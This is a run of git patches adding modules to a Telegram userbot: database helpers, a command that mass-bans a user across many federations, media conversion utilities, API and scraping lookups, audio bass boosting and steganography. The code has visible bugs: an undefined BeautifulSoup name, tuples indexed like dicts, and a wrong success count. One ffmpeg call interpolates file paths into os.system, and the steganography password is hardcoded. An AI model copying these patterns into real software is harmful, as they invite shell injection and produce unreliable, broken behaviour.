959282aba871a22abc8abf7d4b6688ad13699959 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 23:50:59 +0530 Subject: [PATCH 118/838] Create channel_sticker_sql.py --- .../modules/sql_helper/channel_sticker_sql.py | 46 +++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 fridaybot/modules/sql_helper/channel_sticker_sql.py diff --git a/fridaybot/modules/sql_helper/channel_sticker_sql.py b/fridaybot/modules/sql_helper/channel_sticker_sql.py new file mode 100644 index 00000000..383af5a9 --- /dev/null +++ b/fridaybot/modules/sql_helper/channel_sticker_sql.py @@ -0,0 +1,46 @@ +from sqlalchemy import Column, String, UnicodeText + +from fridaybot.modules.sql_helper import BASE, SESSION + + +class Cst(BASE): + __tablename__ = "cst" + chat_id = Column(String(14), primary_key=True) + sticker_token = Column(UnicodeText) + + def __init__(self, chat_id, sticker_token): + self.chat_id = chat_id + self.sticker_token = sticker_token + + +Cst.__table__.create(checkfirst=True) + + +def add_new_data_in_db(chat_id: int, sticker_token): + sticker_adder = Cst(str(chat_id), sticker_token) + SESSION.add(sticker_adder) + SESSION.commit() + + +def get_all_st_data(chat_id: int): + try: + s__ = SESSION.query(Cst).get(str(chat_id)) + return int(s__.chat_id), s__.sticker_token + finally: + SESSION.close() + + +def is_data_indb(chat_id: int): + try: + s__ = SESSION.query(Cst).get(str(chat_id)) + if s__: + return s__.sticker_token + finally: + SESSION.close() + + +def remove_datas(chat_id): + sed = SESSION.query(Cst).get(str(chat_id)) + if sed: + SESSION.delete(sed) + SESSION.commit() From d01d5e3c8b35fbbd3bf063a6187f29c9d9a9f33f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 23:52:05 +0530 Subject: [PATCH 119/838] Create feds_sql.py --- fridaybot/modules/sql_helper/feds_sql.py | 42 ++++++++++++++++++++++++ 1 file changed, 42 insertions(+) create mode 100644 fridaybot/modules/sql_helper/feds_sql.py diff --git a/fridaybot/modules/sql_helper/feds_sql.py b/fridaybot/modules/sql_helper/feds_sql.py new file mode 100644 index 00000000..3553d926 --- /dev/null +++ b/fridaybot/modules/sql_helper/feds_sql.py @@ -0,0 +1,42 @@ +from sqlalchemy import Column, UnicodeText + +from fridaybot.modules.sql_helper import BASE, SESSION + + +class Fed(BASE): + __tablename__ = "fed" + feds = Column(UnicodeText, primary_key=True) + + def __init__(self, feds): + self.feds = feds + + +Fed.__table__.create(checkfirst=True) + + +def add_fed(feds): + feddy = Fed(feds) + SESSION.add(feddy) + SESSION.commit() + + +def rmfed(feds): + rmfeddy = SESSION.query(Fed).get(feds) + if rmfeddy: + SESSION.delete(rmfeddy) + SESSION.commit() + + +def get_all_feds(): + stark = SESSION.query(Fed).all() + SESSION.close() + return stark + + +def is_fed_indb(feds): + try: + return SESSION.query(Fed).filter(Fed.feds == feds).one() + except: + return None + finally: + SESSION.close() From 799552da643891dd4fc2c145ea061fd47e4dc32a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Thu, 24 Dec 2020 23:52:47 +0530 Subject: [PATCH 120/838] Create fedban.py --- fridaybot/modules/fedban.py | 120 ++++++++++++++++++++++++++++++++++++ 1 file changed, 120 insertions(+) create mode 100644 fridaybot/modules/fedban.py diff --git a/fridaybot/modules/fedban.py b/fridaybot/modules/fedban.py new file mode 100644 index 00000000..da6df33a --- /dev/null +++ b/fridaybot/modules/fedban.py @@ -0,0 +1,120 @@ +from fridaybot.function import fetch_feds +from fridaybot.modules.sql_helper.feds_sql import ( + add_fed, + get_all_feds, + is_fed_indb, + rmfed, +) +from fridaybot.utils import friday_on_cmd + +chnnl_grp = Config.FBAN_GROUP + + +@friday.on(friday_on_cmd(pattern="fadd ?(.*)")) +async def _(event): + nolol = 0 + yeslol = 0 + await event.edit("`Processing..`") + lol_s = event.pattern_match.group(1) + if lol_s == None: + await event.edit("`Give FeD ID`") + return + elif lol_s == " ": + await event.edit("`Give FeD ID`") + return + elif lol_s == "all": + hmm = await fetch_feds(event, borg) + for i in hmm: + try: + if is_fed_indb(i): + nolol += 1 + elif not is_fed_indb(i): + add_fed(i) + yeslol += 1 + except: + pass + await event.edit(f"`Added {yeslol} Feds To DB, Failed To Add {nolol} Feds.`") + elif is_fed_indb(lol_s): + await event.edit("`Fed Already Found On DataBase.`") + return + elif not is_fed_indb(lol_s): + add_fed(lol_s) + await event.edit("`Done ! Added This Fed To DataBase`") + + +@friday.on(friday_on_cmd(pattern="frm ?(.*)")) +async def _(event): + lol_s = event.pattern_match.group(1) + await event.edit("`Processing..`") + lol = get_all_feds() + if lol_s == None: + await event.edit("`Give FeD ID`") + return + elif lol_s == " ": + await event.edit("`Give FeD ID`") + return + elif lol_s == "all": + for sedm in lol: + rmfed(sedm.feds) + await event.edit("`Done, Cleared. All Fed Database.") + elif is_fed_indb(lol_s): + rmfed(lol_s) + await event.edit("`Done, Removed This FeD From DB`") + elif not is_fed_indb(lol_s): + await event.edit("`This Fed Not Found On Db.`") + + +@friday.on(friday_on_cmd(pattern="fban ?(.*)")) +async def _(event): + lol_s = event.pattern_match.group(1) + if lol_s == None: + await event.edit("`No user Found To Fban.`") + return + all_fed = get_all_feds() + errors = 0 + len_feds = len(all_fed) + if len_feds == 0: + await event.edit("`No Fed IN DB, Add One To Do So.`") + return + await event.edit(f"`FBanning in {len_feds} Feds.`") + try: + await borg.send_message(chnnl_grp, "/start") + except Exception as e: + await event.edit("**Errors** : " + str(e)) + return + for teamz in all_fed: + try: + await borg.send_message(chnnl_grp, "/joinfed " + teamz.feds) + await borg.send_message(chnnl_grp, "/fban " + lol_s) + await asyncio.sleep(5) + except: + errors += 1 + await event.edit( + f"**Fban Completed** \nTotal Sucess : `{errors - len_feds}` \nTotal Errors : `{errors}` \nTotal Fed Len : `{len_feds}`" + ) + + +@friday.on(friday_on_cmd(pattern="unfban ?(.*)")) +async def _(event): + lol_s = event.pattern_match.group(1) + if lol_s == None: + await event.edit("`No user Found To Fban.`") + return + all_fed = get_all_feds() + errors = 0 + len_feds = len(all_fed) + await event.edit(f"`UnFBanning in {len_feds} Feds.`") + try: + await borg.send_message(chnnl_grp, "/start") + except Exception as e: + await event.edit("**Errors** : " + str(e)) + return + for teamz in all_fed: + try: + await borg.send_message(chnnl_grp, "/unfban " + lol_s) + await asyncio.sleep(5) + except: + errors += 1 + await event.edit( + f"**Un-Fban Completed** \nTotal Sucess : `{errors - len_feds}` \nTotal Errors : `{errors}` \nTotal Fed Len : `{len_feds}`" + ) From 625be4d429ec1a4ce11d920722db4f2b263dec3c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 00:00:23 +0530 Subject: [PATCH 121/838] Update __init__.py --- fridaybot/function/__init__.py | 314 +++++++++++++++++++++++++++++++++ 1 file changed, 314 insertions(+) diff --git a/fridaybot/function/__init__.py b/fridaybot/function/__init__.py index 8b137891..ee9bbdf3 100644 --- a/fridaybot/function/__init__.py +++ b/fridaybot/function/__init__.py @@ -1 +1,315 @@ +import asyncio +import json +import math +import os +import re +import shlex +import subprocess +import time +from os.path import basename +from typing import List, Optional, Tuple + +import requests +from bs4 import BeautifulSoup as bs +from pymediainfo import MediaInfo +from telethon.tl.types import MessageMediaPhoto + +BASE_URL = "https://isubtitles.org" +from fridaybot.Configs import Config + +sedpath = Config.TMP_DOWNLOAD_DIRECTORY +from fridaybot import logging + +logger = logging.getLogger("[--WARNING--]") +if not os.path.isdir(sedpath): + os.makedirs(sedpath) + + +# Thanks To Userge-X +async def runcmd(cmd: str) -> Tuple[str, str, int, int]: + """ run command in terminal """ + args = shlex.split(cmd) + process = await asyncio.create_subprocess_exec( + *args, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) + stdout, stderr = await process.communicate() + return ( + stdout.decode("utf-8", "replace").strip(), + stderr.decode("utf-8", "replace").strip(), + process.returncode, + process.pid, + ) + + +async def progress(current, total, event, start, type_of_ps, file_name=None): + """Generic progress_callback for uploads and downloads.""" + now = time.time() + diff = now - start + if round(diff % 10.00) == 0 or current != total: + percentage = current * 100 / total + speed = current / diff + elapsed_time = round(diff) * 1000 + time_to_completion = round((total - current) / speed) * 1000 + estimated_total_time = elapsed_time + time_to_completion + progress_str = "[{0}{1}] {2}%\n".format( + "".join(["▰" for i in range(math.floor(percentage / 10))]), + "".join(["▱" for i in range(10 - math.floor(percentage / 10))]), + round(percentage, 2), + ) + tmp = progress_str + "{0} of {1}\nETA: {2}".format( + humanbytes(current), humanbytes(total), time_formatter(estimated_total_time) + ) + if file_name: + await event.edit( + "{}\nFile Name: `{}`\n{}".format(type_of_ps, file_name, tmp) + ) + else: + await event.edit("{}\n{}".format(type_of_ps, tmp)) + + +def humanbytes(size): + """Input size in bytes, + outputs in a human readable format""" + # https://stackoverflow.com/a/49361727/4723940 + if not size: + return "" + # 2 ** 10 = 1024 + power = 2 ** 10 + raised_to_pow = 0 + dict_power_n = {0: "", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"} + while size > power: + size /= power + raised_to_pow += 1 + return str(round(size, 2)) + " " + dict_power_n[raised_to_pow] + "B" + + +def time_formatter(milliseconds: int) -> str: + """Inputs time in milliseconds, to get beautified time, + as string""" + seconds, milliseconds = divmod(int(milliseconds), 1000) + minutes, seconds = divmod(seconds, 60) + hours, minutes = divmod(minutes, 60) + days, hours = divmod(hours, 24) + tmp = ( + ((str(days) + " day(s), ") if days else "") + + ((str(hours) + " hour(s), ") if hours else "") + + ((str(minutes) + " minute(s), ") if minutes else "") + + ((str(seconds) + " second(s), ") if seconds else "") + + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") + ) + return tmp[:-2] + + +# Thanks To Userge-X +# Ported By @STARKXD +async def convert_to_image(event, borg): + lmao = await event.get_reply_message() + if not ( + lmao.gif + or lmao.audio + or lmao.voice + or lmao.video + or lmao.video_note + or lmao.photo + or lmao.sticker + ): + await event.edit("`Format Not Supported.`") + return + else: + try: + c_time = time.time() + downloaded_file_name = await borg.download_media( + lmao.media, + sedpath, + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, event, c_time, "`Downloading...`") + ), + ) + except Exception as e: # pylint:disable=C0103,W0703 + await event.edit(str(e)) + else: + await event.edit( + "Downloaded to `{}` successfully.".format(downloaded_file_name) + ) + if not os.path.exists(downloaded_file_name): + await event.edit("Download Unsucessfull :(") + return + if lmao and lmao.photo: + lmao_final = downloaded_file_name + elif lmao.sticker and lmao.sticker.mime_type == "application/x-tgsticker": + rpath = downloaded_file_name + image_name20 = os.path.join(sedpath, "SED.png") + cmd = f"lottie_convert.py --frame 0 -if lottie -of png {downloaded_file_name} {image_name20}" + stdout, stderr = (await runcmd(cmd))[:2] + os.remove(rpath) + lmao_final = image_name20 + elif lmao.sticker and lmao.sticker.mime_type == "image/webp": + pathofsticker2 = downloaded_file_name + image_new_path = sedpath + "image.png" + os.rename(pathofsticker2, image_new_path) + if not os.path.exists(image_new_path): + await event.edit("`Wasn't Able To Fetch Shot.`") + return + lmao_final = image_new_path + elif lmao.audio: + sed_p = downloaded_file_name + hmmyes = sedpath + "stark.mp3" + imgpath = sedpath + "starky.jpg" + os.rename(sed_p, hmmyes) + await runcmd(f"ffmpeg -i {hmmyes} -filter:v scale=500:500 -an {imgpath}") + os.remove(sed_p) + if not os.path.exists(imgpath): + await event.edit("`Wasn't Able To Fetch Shot.`") + return + lmao_final = imgpath + elif lmao.gif or lmao.video or lmao.video_note: + sed_p2 = downloaded_file_name + jpg_file = os.path.join(sedpath, "image.jpg") + await take_screen_shot(sed_p2, 0, jpg_file) + os.remove(sed_p2) + if not os.path.exists(jpg_file): + await event.edit("`Couldn't Fetch. SS`") + return + lmao_final = jpg_file + await event.edit("`Almost Completed.`") + return lmao_final + + +# Thanks To Userge-X +async def crop_vid(input_vid: str, final_path: str): + media_info = MediaInfo.parse(input_vid) + for track in media_info.tracks: + if track.track_type == "Video": + aspect_ratio = track.display_aspect_ratio + height = track.height + width = track.width + if aspect_ratio != 1: + crop_by = width if (height > width) else height + os.system(f'ffmpeg -i {input_vid} -vf "crop={crop_by}:{crop_by}" {final_path}') + os.remove(input_vid) + else: + os.rename(input_vid, final_path) + + +# Thanks To Userge-X +async def take_screen_shot( + video_file: str, duration: int, path: str = "" +) -> Optional[str]: + """ take a screenshot """ + logger.info( + "[[[Extracting a frame from %s ||| Video duration => %s]]]", + video_file, + duration, + ) + ttl = duration // 2 + thumb_image_path = path or os.path.join(sedpath, f"{basename(video_file)}.jpg") + command = f'''ffmpeg -ss {ttl} -i "{video_file}" -vframes 1 "{thumb_image_path}"''' + err = (await runcmd(command))[1] + if err: + logger.error(err) + return thumb_image_path if os.path.exists(thumb_image_path) else None + + +# Thanks To @HeisenbergTheDanger, @xditya +async def fetch_feds(event, borg): + fedList = [] + await event.edit("`Fetching Your FeD List`, This May Take A While.") + async with borg.conversation("@MissRose_bot") as bot_conv: + await bot_conv.send_message("/start") + await bot_conv.send_message("/myfeds") + await asyncio.sleep(3) + response = await bot_conv.get_response(timeout=300) + await asyncio.sleep(3) + if "You can only use fed commands once every 5 minutes" in response.text: + await event.edit("`Try again after 5 mins.`") + return + elif "make a file" in response.text: + await event.edit( + "`Boss, You Real Peru. You Are Admin in So Many Feds. WoW!`" + ) + await asyncio.sleep(6) + await response.click(0) + await asyncio.sleep(6) + fedfile = await bot_conv.get_response() + await asyncio.sleep(3) + if fedfile.media: + downloaded_file_name = await borg.download_media(fedfile, "fedlist") + await asyncio.sleep(6) + file = open(downloaded_file_name, "r") + lines = file.readlines() + for line in lines: + try: + fedList.append(line[:36]) + except BaseException: + pass + # CleanUp + os.remove(downloaded_file_name) + else: + In = False + tempFedId = "" + for x in response.text: + if x == "`": + if In: + In = False + fedList.append(tempFedId) + tempFedId = "" + else: + In = True + + elif In: + tempFedId += x + await event.edit("`FeD List Fetched SucessFully.`") + return fedList + + +async def get_imdb_id(search, event): + link = "https://yts-subs.com/search/ajax?mov=" + search + lol = requests.get(link) + warner_bros = lol.json() + if warner_bros == []: + await event.edit("`No Results Found.`") + warner_media = None + warner_s = None + else: + warner_media = warner_bros[0]["mv_mainTitle"] + warner_s = warner_bros[0]["mv_imdbCode"] + return warner_media, warner_s + + +async def get_subtitles(imdb_id, borg, event): + await event.edit("`Processing..`") + link = f"https://yts-subs.com/movie-imdb/" + imdb_id + movie_response = requests.get(url=link) + subtitles = [] + soup1 = BeautifulSoup(movie_response.content, "html.parser") + rows = soup1.find_all("tr", class_="high-rating") + for row in rows: + td = row.find("td", class_="flag-cell") + lang = td.find("span", class_="sub-lang").text + if lang == "English": + sub_link_tag = row.find("td", class_="download-cell") + sub_link = sub_link_tag.find("a", class_="subtitle-download").get("href") + sub_link = f"https://yts-subs.com/{sub_link}" + sub_name_tag = row.find("td", class_=None) + sub_name = ( + str(sub_name_tag.find("a").text) + .replace("subtitle", "") + .replace("\n", "") + ) + sub = (sub_name, sub_link) + subtitles.append(sub) + await event.edit("`Almost Done.`") + sub_response = requests.get(url=subtitles[0]["sub_link"]) + selected_sub_name = subtitles[0]["sub_name"] + soup2 = BeautifulSoup(sub_response.content, "html.parser") + link = soup2.find("a", class_="btn-icon download-subtitle").get("href") + final_response = requests.get(link, stream=True) + await event.edit("`Downloading Now`") + if final_response.status_code == 200: + with open(sedpath + f"{selected_sub_name}.zip", "wb") as sfile: + for byte in final_response.iter_content(chunk_size=128): + sfile.write(byte) + final_paths = sedpath + f"{selected_sub_name}.zip" + namez = selected_sub_name + return final_paths, namez, subtitles[0]["sub_link"] From d06b19e567fe09ccc342bf9f81f5882230eb2c2e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 00:03:58 +0530 Subject: [PATCH 122/838] Update requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index 3b8eace4..df517204 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,5 @@ Pillow +pymediainfo quote antispaminc python-magic From 6590cdafc6287cc3e03e78baa5f9773ddf791f28 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 00:05:31 +0530 Subject: [PATCH 123/838] Create superheroes.py --- fridaybot/modules/superheroes.py | 132 +++++++++++++++++++++++++++++++ 1 file changed, 132 insertions(+) create mode 100644 fridaybot/modules/superheroes.py diff --git a/fridaybot/modules/superheroes.py b/fridaybot/modules/superheroes.py new file mode 100644 index 00000000..b39f0dad --- /dev/null +++ b/fridaybot/modules/superheroes.py @@ -0,0 +1,132 @@ +# Copyright (C) @chsaiujwal 2020 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + +import requests + +from uniborg.util import friday_on_cmd + +import html + +from telethon.tl.functions.photos import GetUserPhotosRequest +from telethon.tl.functions.users import GetFullUserRequest +from telethon.tl.types import MessageEntityMentionName +from telethon.utils import get_input_location +from fridaybot.Configs import Config +from fridaybot import CMD_HELP, sclient +from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd, admin_cmd + + +@friday.on(admin_cmd(pattern="hero (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + url = "https://superhero-search.p.rapidapi.com/" + querystring = {"hero": input_str} + if Config.SUPERHERO_API_KEY is None: + await event.edit("Need to get an API key from https://rapidapi.com/jakash1997/api/superhero-search\nModule stopping!") + return + await event.edit("Processing Your Request.") + inputo = Config.SUPERHERO_API_KEY + + headers = { + 'x-rapidapi-key': inputo, + 'x-rapidapi-host': "superhero-search.p.rapidapi.com" + } + + response = requests.request("GET", url, headers=headers, params=querystring) + a = response.json() + b = a.get("name") + c = a.get("id") + d = a.get("slug") + e = a.get("powerstats") + intelligence = str(e.get("intelligence")) + strength = str(e.get("strength")) + speed = str(e.get("speed")) + durability = str(e.get("durability")) + power = str(e.get("power")) + combact = str(e.get("combact")) + f = a.get("appearance") + lol = str(f.get("gender")) + lul = str(f.get("race")) + hm = f.get("height") + inch = str(hm[0]) + cm = str(hm[1]) + # What are you doing in our code? + + weiGht = f.get("weight") + lb = str(weiGht[0]) + kg = str(weiGht[1]) + eye = str(f.get("eyeColor")) + hair = str(f.get("hairColor")) + bio = a.get("biography") + #Hey Kanger, Don't you dare Kamg this. + + fullName = str(bio.get("fullName")) + ego = str(bio.get("alterEgos")) + aliase = bio.get("aliases") + sedo = "" + #Messi Is The Best. + for messi in aliase: + sedo += messi + " " + + + + PoB = str(bio.get("placeOfBirth")) + sed = str(sedo) + + firsT = str(bio.get("firstAppearance")) + + alignment = str(bio.get("alignment")) + + imoge = a.get("images") + res = list(imoge.keys())[3] + linke = str(res) + link = str(imoge.get(linke)) + fcb = input_str.upper() + + caption = f""" {fcb} STATS +Name:- : {b} +Id:- : {c} +Slug:- : {d} +Power Stats +Intelligence:- : {intelligence} +Strength:- : {strength} +Speed:- : {speed} +Durability:- : {durability} +Power:- : {power} +Combact:- : {combact} +Appearance +Gender:- : {lol} +Race:- : {lul} +Height:- : {inch} {cm} +Weight:- : {lb} {kg} +Eye Colour:- : {eye} +Hair Colour:- : {hair} +Biography +Full Name:- : {fullName} +Alter Egos:- : {ego} +Aliases:- : {sed} +Place Of Birth:- : {PoB} +First Appearance:- : {firsT} +alignment:- : {alignment} +""" + await borg.send_message( + event.chat_id, + caption, + parse_mode="HTML", + file=link, + force_document=False, + silent=True, + ) + await event.delete() From 3b7c7c110a1c58a8267ac2197adf535ba6849945 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 00:08:24 +0530 Subject: [PATCH 124/838] Create movie_recomendation.py --- fridaybot/modules/movie_recomendation.py | 84 ++++++++++++++++++++++++ 1 file changed, 84 insertions(+) create mode 100644 fridaybot/modules/movie_recomendation.py diff --git a/fridaybot/modules/movie_recomendation.py b/fridaybot/modules/movie_recomendation.py new file mode 100644 index 00000000..aaa88123 --- /dev/null +++ b/fridaybot/modules/movie_recomendation.py @@ -0,0 +1,84 @@ +import re + +import requests as HTTP +from bs4 import BeautifulSoup as SOUP + +from fridaybot import CMD_HELP +from fridaybot.utils import admin_cmd + + +@friday.on(admin_cmd(pattern="rmovie (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + + def main(emotion): + if emotion == "Sad": + urlhere = "http://www.imdb.com/search/title?genres=drama&title_type=feature&sort=moviemeter, asc" + + elif emotion == "Anticipation": + urlhere = "https://www.imdb.com/search/title/?genres=sci-fi" + + elif emotion == "Fear": + urlhere = "http://www.imdb.com/search/title?genres=sport&title_type=feature&sort=moviemeter, asc" + + elif emotion == "Enjoyment": + urlhere = "http://www.imdb.com/search/title?genres=thriller&title_type=feature&sort=moviemeter, asc" + + elif emotion == "Trust": + urlhere = "http://www.imdb.com/search/title?genres=western&title_type=feature&sort=moviemeter, asc" + + elif emotion == "Romantic": + urlhere = "https://www.imdb.com/search/title/?genres=romance" + + elif emotion == "Comedy": + urlhere = "https://www.imdb.com/search/title/?genres=comedy" + + response = HTTP.get(urlhere) + + data = response.text + soup = SOUP(data, "lxml") + title = soup.find_all("a", attrs={"href": re.compile(r"\/title\/tt+\d*\/")}) + return title + + emotion = input_str + a = main(emotion) + count = 0 + sed = "" + if emotion == "Disgust" or emotion == "Anger" or emotion == "Surprise": + for i in a: + tmp = str(i).split(">;") + if len(tmp) == 3: + lol = tmp[1][:-3] + sed += lol + "\n" + if count > 13: + break + count += 1 + + else: + for i in a: + tmp = str(i).split(">") + if len(tmp) == 3: + lol = tmp[1][:-3] + sed += lol + "\n" + if count > 11: + break + count += 1 + await event.edit( + f"Below Are Your Movie Recommendations\n\nYour Emotion:- {input_str}\nRecommended Movie List:- {sed}", + parse_mode="HTML", + ) + + +CMD_HELP.update( + { + "movie_recommendation": "**Movie Recommender**\ +\n\n**Syntax : **`.rmovie `\ +\n**Usage :** Recommends Movies According To Your Emotion.\ +\n\n**Example : **`.rmovie Sad`\ +\nThis above syntax shows recommended mobies for a sad person.\ +\n\n**Note : ** Emotions are case sensitive.\ +\n\n\n**Available Emotions : ** `Sad`\n`Trust`\n`Fear`\n`Enjoyment`\n`Romantic`\n`Comedy`\n`Anticipation`" + } +) From 9ee1a6bdae61d0e9465c5c5931e497a7a90da04d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 00:11:39 +0530 Subject: [PATCH 125/838] Update requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index df517204..859fa7fb 100644 --- a/requirements.txt +++ b/requirements.txt @@ -61,6 +61,7 @@ password_strength pyjokes cryptocompare faker +pydub validators googletrans==3.1.0a0 spamwatch From 5e363f8b5e32908ec195b81b9d6785aa5ff35f88 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 00:13:01 +0530 Subject: [PATCH 126/838] Create bassboost.py --- fridaybot/modules/bassboost.py | 99 ++++++++++++++++++++++++++++++++++ 1 file changed, 99 insertions(+) create mode 100644 fridaybot/modules/bassboost.py diff --git a/fridaybot/modules/bassboost.py b/fridaybot/modules/bassboost.py new file mode 100644 index 00000000..5b556c04 --- /dev/null +++ b/fridaybot/modules/bassboost.py @@ -0,0 +1,99 @@ +import asyncio +import io +import math +import os + +import numpy as np +from pydub import AudioSegment +from telethon import types + +from fridaybot.utils import admin_cmd + + +@friday.on(admin_cmd(pattern="bassbost ?(.*)")) +async def __(message): + v = False + accentuate_db = 40 + reply = await message.get_reply_message() + if not reply: + await message.edit("Can You Reply To A MSG :?") + return + if message.pattern_match.group(1): + ar = message.pattern_match.group(1) + try: + int(ar) + if int(ar) >= 2 and int(ar) <= 100: + accentuate_db = int(ar) + else: + await message.edit("`BassBost Level Should Be From 2 to 100 Only.`") + return + except Exception as exx: + await message.edit("`SomeThing Went Wrong..` \n**Error:** " + str(exx)) + return + else: + accentuate_db = 2 + await message.edit("`Downloading This File...`") + fname = await borg.download_media(message=reply.media) + await message.edit("`BassBoosting In Progress..`") + if fname.endswith(".oga") or fname.endswith(".ogg"): + v = True + audio = AudioSegment.from_file(fname) + elif fname.endswith(".mp3") or fname.endswith(".m4a") or fname.endswith(".wav"): + audio = AudioSegment.from_file(fname) + else: + await message.edit( + "`This Format is Not Supported Yet` \n**Currently Supported :** `mp3, m4a and wav.`" + ) + os.remove(fname) + return + sample_track = list(audio.get_array_of_samples()) + await asyncio.sleep(0.3) + est_mean = np.mean(sample_track) + await asyncio.sleep(0.3) + est_std = 3 * np.std(sample_track) / (math.sqrt(2)) + await asyncio.sleep(0.3) + bass_factor = int(round((est_std - est_mean) * 0.005)) + await asyncio.sleep(5) + attenuate_db = 0 + filtered = audio.low_pass_filter(bass_factor) + await asyncio.sleep(5) + out = (audio - attenuate_db).overlay(filtered + accentuate_db) + await asyncio.sleep(6) + m = io.BytesIO() + if v: + m.name = "voice.ogg" + out.split_to_mono() + await message.edit("`Now Exporting...`") + await asyncio.sleep(0.3) + out.export(m, format="ogg", bitrate="64k", codec="libopus") + await message.edit("`Process Completed. Uploading Now Here..`") + await borg.send_file( + message.to_id, + m, + reply_to=reply.id, + voice_note=True, + caption="Bass Boosted, \nDone By VirtualUserbot", + ) + os.remove(m) + else: + m.name = "BassBoosted.mp3" + await message.edit("`Now Exporting...`") + await asyncio.sleep(0.3) + out.export(m, format="mp3") + await message.edit("`Process Completed. Uploading Now Here..`") + await borg.send_file( + message.to_id, + m, + reply_to=reply.id, + attributes=[ + types.DocumentAttributeAudio( + duration=reply.document.attributes[0].duration, + title=f"BassBoost {str(accentuate_db)}lvl", + performer="BassBoost", + ) + ], + caption="Bass Boosted, \nDone By VirtualUserbot", + ) + os.remove(m) + await message.delete() + os.remove(fname) From 496de5b44fa9ada98d4dd0f7c45f413417ad6b41 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 00:15:57 +0530 Subject: [PATCH 127/838] Update requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index 859fa7fb..69a24e0e 100644 --- a/requirements.txt +++ b/requirements.txt @@ -60,6 +60,7 @@ covid password_strength pyjokes cryptocompare +cryptosteganography faker pydub validators From ce8d3645fd994c75e778f43387d13e685c7ffb02 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 00:17:34 +0530 Subject: [PATCH 128/838] Create steganography.py --- fridaybot/modules/steganography.py | 82 ++++++++++++++++++++++++++++++ 1 file changed, 82 insertions(+) create mode 100644 fridaybot/modules/steganography.py diff --git a/fridaybot/modules/steganography.py b/fridaybot/modules/steganography.py new file mode 100644 index 00000000..04ac89b7 --- /dev/null +++ b/fridaybot/modules/steganography.py @@ -0,0 +1,82 @@ +import os + +from cryptosteganography import CryptoSteganography +from telethon.tl.types import MessageMediaPhoto + +from fridaybot import CMD_HELP +from fridaybot.utils import friday_on_cmd, sudo_cmd + +sedpath = "./fridaydevs/" +if not os.path.isdir(sedpath): + os.makedirs(sedpath) + + +@friday.on(friday_on_cmd(pattern=r"stegano ?(.*)")) +@friday.on(sudo_cmd(pattern=r"stegano ?(.*)", allow_sudo=True)) +async def hmm(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + await event.edit("hmm... Hiding Text Inside Image...") + sed = await event.get_reply_message() + if isinstance(sed.media, MessageMediaPhoto): + img = await borg.download_media(sed.media, sedpath) + elif "image" in sed.media.document.mime_type.split("/"): + img = await borg.download_media(sed.media, sedpath) + else: + await event.edit("Reply To Image") + return + text = event.pattern_match.group(1) + if not text: + await event.edit("No input found! --__--") + return + crypto_steganography = CryptoSteganography("hell") + crypto_steganography.hide(img, "./fridaydevs/stegano.png", text) + file_name = "stegano.png" + ok = "./fridaydevs/" + file_name + await borg.send_file( + event.chat_id, + ok, + force_document=True, + allow_cache=False, + ) + for files in (ok, img): + if files and os.path.exists(files): + os.remove(files) + + +@friday.on(friday_on_cmd(pattern=r"unstegano")) +@friday.on(sudo_cmd(pattern=r"unstegano", allow_sudo=True)) +async def hmm(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + await event.edit("hmm... Searching for Text Inside The Image...") + sed = await event.get_reply_message() + if isinstance(sed.media, MessageMediaPhoto): + img = await borg.download_media(sed.media, sedpath) + elif "image" in sed.media.document.mime_type.split("/"): + img = await borg.download_media(sed.media, sedpath) + else: + await event.edit("Reply To Image") + return + crypto_steganography = CryptoSteganography("hell") + secret = crypto_steganography.retrieve(img) + + await event.edit( + f"Decrypted Text Successfully \ntext:- {secret}", + parse_mode="HTML", + ) + + +CMD_HELP.update( + { + "steganography": "**Steganography**\ +\n\n**Syntax : **`.stegano `\ +\n**Usage :** Hides Given Text Inside Image.\ +\n\n**Syntax : **`.unstegano `\ +\n**Usage :** Reveals Hidden Text From Image.\ +\n\n**Example :** 